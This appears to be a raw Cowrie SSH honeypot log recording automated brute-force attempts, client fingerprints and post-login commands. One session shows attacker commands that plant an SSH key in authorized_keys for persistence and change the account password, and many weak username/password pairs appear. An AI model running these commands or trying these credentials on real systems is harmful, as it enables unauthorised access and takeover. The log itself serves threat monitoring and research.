{"eventid":"cowrie.login.failed","username":"per","password":"per","message":"login attempt [per/per] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:18.351388Z","src_ip":"103.199.16.90","session":"9ad00a4c8dab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:18.795634Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":51866,"dst_ip":"10.17.0.5","dst_port":22,"session":"848b0555efec","protocol":"ssh","message":"New connection: 196.196.150.5:51866 (10.17.0.5:22) [session: 848b0555efec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.019133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.023235Z","src_ip":"196.196.150.5","session":"848b0555efec","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.083255Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.085572Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.130872Z","src_ip":"196.196.150.5","session":"848b0555efec","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.565016Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.576186Z","src_ip":"103.199.16.90","session":"9ad00a4c8dab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsx123","message":"login attempt [admin/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.597236Z","src_ip":"196.196.150.5","session":"848b0555efec","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.850351Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:19.852952Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:20.098332Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:20.102260Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:20.706956Z","src_ip":"196.196.150.5","session":"848b0555efec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":37532,"dst_ip":"159.203.135.109","dst_port":22,"session":"11cfc1cdff1a","protocol":"ssh","message":"New connection: 45.94.68.69:37532 (159.203.135.109:22) [session: 11cfc1cdff1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:24.383700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:24.387494Z","src_ip":"45.94.68.69","session":"11cfc1cdff1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:24.601238Z","src_ip":"45.94.68.69","session":"11cfc1cdff1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10qpalzm","message":"login attempt [root/10qpalzm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:25.492980Z","src_ip":"45.94.68.69","session":"11cfc1cdff1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:26.714076Z","src_ip":"45.94.68.69","session":"11cfc1cdff1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":60392,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c3daf00fd75","protocol":"ssh","message":"New connection: 68.207.224.247:60392 (159.203.135.109:22) [session: 2c3daf00fd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.245329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.251147Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.287744Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin123","message":"login attempt [admin/adminadmin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.461602Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.578421Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.581100Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.584361Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.657804Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.750846Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.753401Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.796375Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.799215Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":60400,"dst_ip":"159.203.135.109","dst_port":22,"session":"637c7b0e9f62","protocol":"ssh","message":"New connection: 68.207.224.247:60400 (159.203.135.109:22) [session: 637c7b0e9f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.830779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.835053Z","src_ip":"68.207.224.247","session":"637c7b0e9f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:29.868694Z","src_ip":"68.207.224.247","session":"637c7b0e9f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:30.063534Z","src_ip":"68.207.224.247","session":"637c7b0e9f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:31.103803Z","src_ip":"68.207.224.247","session":"637c7b0e9f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":52082,"dst_ip":"159.203.135.109","dst_port":22,"session":"6969ee67ffcc","protocol":"ssh","message":"New connection: 68.207.224.247:52082 (159.203.135.109:22) [session: 6969ee67ffcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:31.143609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:31.147744Z","src_ip":"68.207.224.247","session":"6969ee67ffcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:31.186536Z","src_ip":"68.207.224.247","session":"6969ee67ffcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:31.385007Z","src_ip":"68.207.224.247","session":"6969ee67ffcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.431514Z","src_ip":"68.207.224.247","session":"6969ee67ffcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.507234Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.509222Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.583739Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.658699Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadmin123\\nEzAUXekhNcUg\\nEzAUXekhNcUg\"|passwd|bash","message":"CMD: echo -e \"adminadmin123\\nEzAUXekhNcUg\\nEzAUXekhNcUg\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.661200Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.663826Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.666272Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
